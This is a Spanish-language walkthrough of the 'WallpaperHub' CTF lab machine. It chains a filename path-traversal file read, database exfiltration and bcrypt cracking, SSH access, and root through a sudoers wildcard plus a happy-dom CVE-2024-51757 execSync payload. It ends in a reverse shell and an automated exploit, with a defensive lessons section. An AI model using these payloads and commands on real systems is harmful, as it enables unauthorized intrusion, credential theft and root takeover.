WallpaperHub
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Registro anónimo en un Flask, LFI vía subida de imagen que saca/etc/passwd, el.bash_historydewp_hub(que dice dónde vive la base de datos) y el propiodatabase.dbde SQLite; crack de un bcrypt de coste 12 para entrar por SSH comowp_hub, y unsudosobre/usr/bin/web-scraper(Node +happy-dom) al que se le inyecta un<script>conrequire('child_process').execSync(...), la CVE-2024-51757, para ejecutar como root.
Reconocimiento
Escaneo inicial
ping -c 1 192.168.192.204
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.192.204TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Not shown: 65530 filtered tcp ports (no-response), 2 filtered tcp ports (host-unreach)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
5000/tcp open upnp syn-ack ttl 61Los 65530 puertos filtrados (no cerrados) dicen que hay un cortafuegos descartando en silencio, y por eso el escaneo tarda 26 segundos en vez de dos. El upnp del 5000 no es upnp: es lo que dice /etc/services para ese número cuando no hay banner. Quien identifica el servicio es el -sCV:
nmap -p22,80,5000 -sCV 192.168.192.204PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp open http Apache httpd 2.4.58 (default page)
5000/tcp open http Werkzeug httpd 3.0.1 (Python 3.12.3)
|_http-title: Wallpaper Hub - HomeEl 80 es la página por defecto de Apache (irrelevante) y el 5000 un Werkzeug/3.0.1 Python/3.12.3, es decir, una aplicación Flask servida por su servidor de desarrollo.
HTTP - TCP 5000
Un dirsearch sobre la app revela el flujo típico de una web con sesiones: /login, /register, /gallery y varias rutas protegidas (/dashboard, /settings) que redirigen a /login. Además, dos rutas /download/history.csv y /download/users.csv devuelven 401, indicio de que existe una descarga de ficheros parametrizable.
[23:14:29] 302 - 199B - /dashboard -> /login
[23:14:30] 401 - 29B - /download/history.csv
[23:14:30] 401 - 29B - /download/users.csv
[23:14:31] 200 - 14KB - /gallery
[23:14:35] 200 - 1KB - /login
[23:14:40] 200 - 847B - /registerLa portada ofrece el registro sin ningún tipo de invitación ni verificación:

Y acepta cualquier cosa, incluido un usuario llamado admin (el nombre estaba libre, así que la cuenta administrativa de la aplicación se llama de otra forma; ese dato lo confirmaremos luego en la base de datos):

Y esas mismas credenciales entran por el formulario de login, que es la misma tarjeta traslúcida sobre la foto del lago:

Wallpaper Hub
LOGIN
admin
admin
Login
Forgot Password?
New here? Create an accountShell como wp_hub
La subida de wallpapers
Autenticados, el panel expone una subida de imágenes bajo /upload-wallpaper:

Antes de tocar nada conviene ver cómo es una petición legítima. Interceptamos una subida normal y ahí está todo lo que hace falta saber: un multipart/form-data con un solo part llamado file, un filename que viene tal cual del navegador y un Content-Type: image/jpeg.
POST /upload-wallpaper HTTP/1.1
Host: 192.168.192.204:5000
Content-Type: multipart/form-data; boundary=----geckoformboundary...
Content-Length: 875194
------geckoformboundary...
Content-Disposition: form-data; name="file"; filename="wallpapers_wallpapers_photo2.jpg"
Content-Type: image/jpeg
LFI por el filename
El servidor guarda el fichero usando el nombre que llega en filename= sin sanear la ruta, y luego lo sirve por /download/<id>. Es una traversal clásica (LFI por traversal), solo que en vez de leer con un ?file= se escribe un registro que apunta a donde queramos. Prueba de concepto contra /etc/passwd, cambiando de paso el Content-Type a plain/text para que no haya dudas sobre el tipo:
Content-Disposition: form-data; name="file"; filename="../../../../../etc/passwd"
Content-Type: plain/textHTTP/1.1 302 FOUND
Server: Werkzeug/3.0.1 Python/3.12.3
Location: /upload-wallpaper?session=<SecureCookieSession {'_permanent': True, 'username': 'admin',
'_flashes': [('info', 'File uploaded successfully!')]}>
De propina, la aplicación serializa la sesión entera dentro de la URL del redirect, incluido el mensaje de éxito. No es una vulnerabilidad, pero sí un oráculo cómodo: se sabe si la subida ha colado sin mirar el HTML.
El registro aparece en /my-uploads con un UUID, y el botón Download baja el fichero real. El navegador lo guarda con su nombre de verdad, passwd, 1.8 KB:

cat passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
wp_hub:x:1001:1001::/home/wp_hub:/bin/bashYa tenemos un nombre de usuario y su $HOME: wp_hub, en /home/wp_hub.
El .bash_history dice dónde está la base de datos
Con un $HOME conocido, el primer fichero que merece la pena pedir no es la clave SSH sino el historial de la shell (caza de credenciales): es donde la gente deja escrito, sin querer, cómo está montado su propio servicio.
Content-Disposition: form-data; name="file"; filename="../../../../../../home/wp_hub/.bash_history"
Una sola línea, y es la que abre la caja:
sqlite3 ~/wallpaper_hub/database.db
La ruta de la base de datos no hay que adivinarla: la dejó escrita el administrador.
Exfiltrar database.db y romper el bcrypt
Tercera pasada por la misma traversal, ahora contra el fichero que interesa:
Content-Disposition: form-data; name="file"; filename="../../../../../../home/wp_hub/wallpaper_hub/database.db"
Content-Type: plain/text
Lo descargamos y lo abrimos. La tabla users tiene dos filas: la nuestra (admin, la que acabamos de registrar) y la que buscábamos.
SELECT * from users;user_id username password description
0 wp_hub $2b$12$lgsrjRa0imePu9iSnp1UsOPLWqAKK... Wallpaper Hub New user.
1 admin $2b$12$KmVEkgwVIUnOlQbu9EKSbeWyGaKa0... Wallpaper Hub New user.
Los hashes son bcrypt $2b$12$: el 2b es la versión moderna del algoritmo y el 12 es el coste, o sea 2¹² = 4096 iteraciones por intento. Un bcrypt no se rompe a velocidad de hash rápido, solo con diccionario (crackeo de hashes), y aquí basta con el de siempre:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 8 OpenMP threads
qazwsxedc (?)
1g 0:00:00:29 DONE (2026-03-04 13:10) 0.03407g/s 68.68p/s 68.68c/s 68.68C/s bubba1..biatchEl Cost 1 (iteration count) is 4096 es la confirmación independiente del coste 12, y las 68 contraseñas por segundo explican por qué esto solo funciona con una contraseña de diccionario: a esa velocidad, rockyou entera son casi seis días.
SSH como wp_hub
ssh wp_hub@192.168.192.204
# qazwsxedc
wp_hub@wallpaperhub:~$ id
uid=1001(wp_hub) gid=1001(wp_hub) groups=1001(wp_hub)La contraseña de la aplicación web era también la del sistema, y wp_hub no está en ningún grupo interesante: uid 1001 y nada más.
Local
cat local.txt && whoami && ip a && hostname
a0c3c9725561cc6253dbf96b93a007a5
wp_hub
...
inet 192.168.192.204/24 brd 192.168.192.255 scope global ens192
wallpaperhubEscalada de Privilegios
Un sudo con comodín sobre un binario propio
sudo -l
cat /usr/bin/web-scraperMatching Defaults entries for wp_hub on wallpaperhub:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !env_reset
User wp_hub may run the following commands on wallpaperhub:
(root) NOPASSWD: /usr/bin/web-scraper /root/web_src_downloaded/*.html#!/usr/bin/env node
const fs = require('fs');
const { Window } = require("happy-dom");
// Check if a file path is provided as a command-line argument
const filePath = process.argv[2];
Dos cosas en esa regla. La primera es que /usr/bin/web-scraper no es un binario del sistema sino un script propio, y se puede leer entero: es Node, hace require("happy-dom") y carga con él el HTML que se le pase por argv[2]. La segunda, y es la que abre la escalada, es que el argumento permitido es un comodín: /root/web_src_downloaded/*.html. En sudoers el * de un patrón también casa con la barra, así que /root/web_src_downloaded/../../../../home/wp_hub/hola.html encaja con la regla aunque el fichero esté en nuestro propio $HOME. La comprobación es textual sobre el patrón, no sobre la ruta canónica.
CVE-2024-51757: <script> que ejecuta en happy-dom
El nombre de la librería es todo lo que hace falta para encontrar el fallo. Una búsqueda de happy dom exploitation devuelve ya la referencia del CVE entre los primeros resultados:

GBHackers News - Happy DOM Flaw Allows Remote Code Execution Affecting ...
13 oct 2025 - A critical security vulnerability has been discovered in Happy DOM, a popular JavaScript
library used for server-side rendering and testing ...
wiz.io - CVE-2024-51757: Impact, Exploitability, and Mitigation StepsCon el identificador ya concreto, la segunda búsqueda separa la teoría de lo que sirve: NVD describe el fallo, pero es Snyk el que promete una prueba de concepto:

CVE-2024-51757 Detail - NVD - NIST
6 nov 2024 - This CVE record has been marked for NVD enrichment efforts.
Snyk - Arbitrary Code Injection in happy-dom | CVE-2024-51757
7 nov 2024 - Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.Y en esa página está el payload completo, listo para copiar. De ahí sale, literalmente, el HTML que se usa unas líneas más abajo:

const { Window } = require("happy-dom");
const window = new Window();
const document = window.document;
document.write(`<script src="https://localhost:8080/'+require('child_process').execSync('id')+'"></script>`);La propia ficha resume el mecanismo: Affected versions of this package are vulnerable to Arbitrary Code Injection via the SyncFetchScriptBuilder class due to improper input sanitization, y la corrección es subir a la 15.10.2 o superior.
happy-dom es una implementación de DOM en JavaScript puro, pensada para renderizar y testear HTML sin navegador. Las versiones anteriores a la 15.10.2 tienen la CVE-2024-51757: la clase SyncFetchScriptBuilder no sanea el atributo src de un <script>, así que el contenido de ese atributo termina concatenado dentro del código que se ejecuta en el proceso Node. No es un escape de sandbox, es que no había sandbox (inyección de script).
El HTML que se le pasa al scraper es, en realidad, JavaScript que construye el documento. Cerrando la comilla del src se cuela la llamada:
const { Window } = require("happy-dom");
const window = new Window();
const document = window.document;
document.write(`<script src="https://localhost:80/'+require('child_process').execSync('/home/wp_hub/pwn.sh')+'"></script>`);El pwn.sh deja /bin/bash con SUID, que es la vía más limpia: la ejecución la hace root una sola vez y el bit persiste, sin depender de un listener ni de la red.
cat pwn.sh#!/bin/bash
chmod u+s /bin/bashsudo /usr/bin/web-scraper /root/web_src_downloaded/../../../../home/wp_hub/hola.htmlY aquí llega lo bonito de esta caja: el comando falla con un error escandaloso y funciona igual.
node:events:495
throw er; // Unhandled 'error' event
^
Error: write EPROTO 00383CB021750000:error:0A00010B:SSL routines:ssl3_get_record:wrong version number
errno: -71,
code: 'EPROTO',
syscall: 'write'
}
Node.js v18.19.1
JavaScript Links:
https://localhost:80/'+require('child_process').execSync('/home/wp_hub/pwn.sh')+'El error es de TLS: el src pide https:// contra el puerto 80, que habla HTTP en claro, y el handshake revienta con wrong version number. Pero para entonces happy-dom ya ha construido la cadena, y construirla implica evaluar el require(...).execSync(...) que había dentro. El fallo ocurre después del pago. Ni siquiera hace falta que el 80 exista: el execSync es un efecto secundario de armar la URL, no de pedirla.
ls -l /bin/bash
bash -p
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
bash-5.2# whoami
rootEl bash -p es obligatorio: sin el -p, bash renuncia a los privilegios efectivos al arrancar y el SUID no sirve de nada.
Proof.txt
cat /root/proof.txt && whoami && ip a && hostname
f0da45be9fd9cb462e7fd2fa8e2b7b3c
root
...
inet 192.168.192.204/24 brd 192.168.192.255 scope global ens192
wallpaperhubAutomatizar la cadena entera
La caja se presta a un autopwn porque cada eslabón es determinista y no hay ni un solo paso que dependa de mirar una pantalla. Un script de Python con requests, sqlite3, john por subprocess y paramiko recorre todo: registra el usuario, inicia sesión, sube el database.db por la traversal, saca el UUID de /my-uploads con una expresión regular, lo descarga, extrae los hashes, los rompe, entra por SSH con la contraseña recuperada y deja escritos el pwn.sh y el hola.html antes de invocar el web-scraper.
python3 wallpaper_hub_exploitation.py 192.168.192.204 5000 admin
[+] User admin registered successfully
[+] User admin logged successfully
[*] Waiting for reverse shell...
listening on [any] 5000 ...
connect to [192.168.45.219] from (UNKNOWN) [192.168.192.204] 38932
root@wallpaperhub:~# whoami
rootDos detalles de diseño que no son evidentes. El listener va en un hilo aparte y se arranca antes del privesc, porque sudo web-scraper se queda bloqueado esperando y la shell tiene que estar escuchando ya. Y el regex que saca el UUID (value=([a-f0-9\-]+)) da por hecho que solo hay una subida propia, así que el script conviene lanzarlo con un usuario recién registrado, que es justo lo que hace.
La flag que devuelve esa ejecución (5fe47e557ffafce6212ccd4d13cf9b01) no coincide con la de arriba porque es otro despliegue de la máquina: Proving Grounds regenera las flags en cada arranque.
Cadena de ataque
Flask :5000 (Werkzeug 3.0.1 / Python 3.12.3)
└─ /register (abierto) -> cuenta propia
└─ /upload-wallpaper -> traversal en el filename=
├─ /etc/passwd -> wp_hub, /home/wp_hub
├─ ~/.bash_history -> "sqlite3 ~/wallpaper_hub/database.db"
└─ ~/wallpaper_hub/database.db -> bcrypt $2b$12$ de wp_hub
└─ john + rockyou -> qazwsxedc
└─ SSH wp_hub -> local.txt
└─ sudo -l: /usr/bin/web-scraper /root/web_src_downloaded/*.html
└─ el * casa con / -> ../../../../home/wp_hub/hola.html
└─ CVE-2024-51757 (happy-dom < 15.10.2)
└─ execSync('pwn.sh') -> chmod u+s /bin/bash
└─ bash -p -> root (proof.txt)Lecciones aprendidas
- Aceptar el
filenamedel cliente sin sanear la ruta abre una LFI por traversal tan válida como el?file=clásico; el filtrado tiene que fijarse en el basename, no en el prefijo. - El
.bash_historyvale más que elid_rsa. Antes de pedir claves a ciegas, se pide el historial: aquí una sola línea daba la ruta exacta de la base de datos, que si no habría habido que adivinar. - El bcrypt no se "rompe" a velocidad de hash: el coste 12 son 4096 iteraciones y
johnavanza a 68 candidatos por segundo. Solo cae si la contraseña está en el diccionario, yqazwsxedclo está. - Un comodín en
sudoersno acota nada. El*de/root/web_src_downloaded/*.htmlcasa también con/, así que la regla que parecía encerrar al usuario en un directorio de root acepta cualquier fichero del sistema. Lo correcto es validar la ruta canónica (realpath), no un patrón textual. - Un binario que renderiza HTML del usuario como root equivale a ejecutar cualquier código:
happy-dom(como jsdom) evalúa el<script>conrequiredisponible; no es un escape, es la funcionalidad. - Un error en pantalla no significa que el exploit haya fallado. El
EPROTO ... wrong version numberes ruido de TLS que llega después de que elexecSyncya se haya ejecutado. Antes de dar por muerta una técnica, hay que comprobar el efecto, no el código de salida.